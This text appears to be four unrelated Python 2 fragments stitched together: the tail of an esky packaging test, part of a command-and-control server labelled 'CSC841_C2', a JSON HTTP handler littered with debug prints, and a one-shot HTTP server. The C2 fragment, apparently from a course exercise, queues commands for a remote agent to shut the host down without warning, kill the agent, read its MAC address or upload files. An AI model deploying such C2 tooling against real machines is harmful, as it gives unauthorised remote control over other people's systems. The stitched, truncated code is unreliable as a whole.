os.path.join(tdir, "dist", "eskytester-0.1.%s.zip" % (platform, )) os.mkdir(deploydir) extract_zipfile(zfname, deploydir) # Run the scripts in order. if options["bdist_esky"]["freezer_module"] == "py2app": appdir = os.path.join(deploydir, os.listdir(deploydir)[0]) cmd1 = os.path.join(appdir, "Contents", "MacOS", "script1") cmd2 = os.path.join(appdir, "Contents", "MacOS", "script2") cmd3 = os.path.join(appdir, "Contents", "MacOS", "script3") else: appdir = deploydir if sys.platform == "win32": cmd1 = os.path.join(deploydir, "script1.exe") cmd2 = os.path.join(deploydir, "script2.exe") cmd3 = os.path.join(deploydir, "script3.exe") else: cmd1 = os.path.join(deploydir, "script1") cmd2 = os.path.join(deploydir, "script2") cmd3 = os.path.join(deploydir, "script3") print "spawning eskytester script1", options["bdist_esky"][ "freezer_module"] os.unlink( os.path.join(tdir, "dist", "eskytester-0.1.%s.zip" % (platform, ))) p = subprocess.Popen(cmd1) assert p.wait() == 0 os.unlink(os.path.join(appdir, "tests-completed")) print "spawning eskytester script2" os.unlink( os.path.join(tdir, "dist", "eskytester-0.2.%s.zip" % (platform, ))) p = subprocess.Popen(cmd2) assert p.wait() == 0 os.unlink(os.path.join(appdir, "tests-completed")) print "spawning eskytester script3" p = subprocess.Popen(cmd3) assert p.wait() == 0 os.unlink(os.path.join(appdir, "tests-completed")) finally: if script2: script2.script[1].close() os.chdir(olddir) if sys.platform == "win32": # wait for the cleanup-at-exit pocess to finish time.sleep(4) really_rmtree(tdir) if server: server.shutdown()
#Handle normal command traffic mimetype = 'text/html' self.send_response(200) self.send_header('Content-type', mimetype) self.end_headers() self.wfile.write(cmd) global cmd #Clear command cmd = "" def log_message(self, format, *args): return try: #Create a web server and define the handler to manage the #incoming request server = HTTPServer(('', PORT_NUMBER), myHandler) os.system('clear') print 'C2 Server Running on Port ', PORT_NUMBER print "===========================================================" print " CSC841_C2" print "===========================================================" print "Commands:" print "shutdown -- Shuts down the host system immediately with no warning" print "killagent -- Kills the client process immediately" print "getmac -- Retrieves the MAC address of host computer" print "uploadfile -- Uploads local file to host system" while True: cmd = raw_input("Select your option: ") server.handle_request() server.handle_request() except KeyboardInterrupt:
print 'after if' self.send_response(code) print 'after send response' self.send_header("Content-Type", "application/json") print 'after send header' self.end_headers() if code not in ERRORS: r = {"response": response, "code": code} else: r = {"error": response or ERRORS.get(code, "Unknown Error"), "code": code} context.update(r) logging.info(context) self.wfile.write(json.dumps(r)) return if __name__ == "__main__": op = OptionParser() op.add_option("-p", "--port", action="store", type=int, default=8080) op.add_option("-l", "--log", action="store", default=None) (opts, args) = op.parse_args() logging.basicConfig(filename=opts.log, level=logging.INFO, format='[%(asctime)s] %(levelname).1s %(message)s', datefmt='%Y.%m.%d %H:%M:%S') server = HTTPServer(("localhost", opts.port), MainHTTPHandler) logging.info("Starting server at %s" % opts.port) try: server.serve_forever() except KeyboardInterrupt: pass server.server_close()
""" HTTP server that exits after responding to a GET request. """ from os import urandom from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer PROCESS_UNIQUE_VALUE = urandom(32).encode("hex") class Handler(BaseHTTPRequestHandler): def do_GET(s): s.send_response(200) s.send_header( b"content-length", u"{}".format(len(PROCESS_UNIQUE_VALUE)).encode("ascii") ) s.end_headers() s.wfile.write(PROCESS_UNIQUE_VALUE) s.wfile.flush() s.wfile.close() httpd = HTTPServer((b"0.0.0.0", 8080), Handler) httpd.handle_request()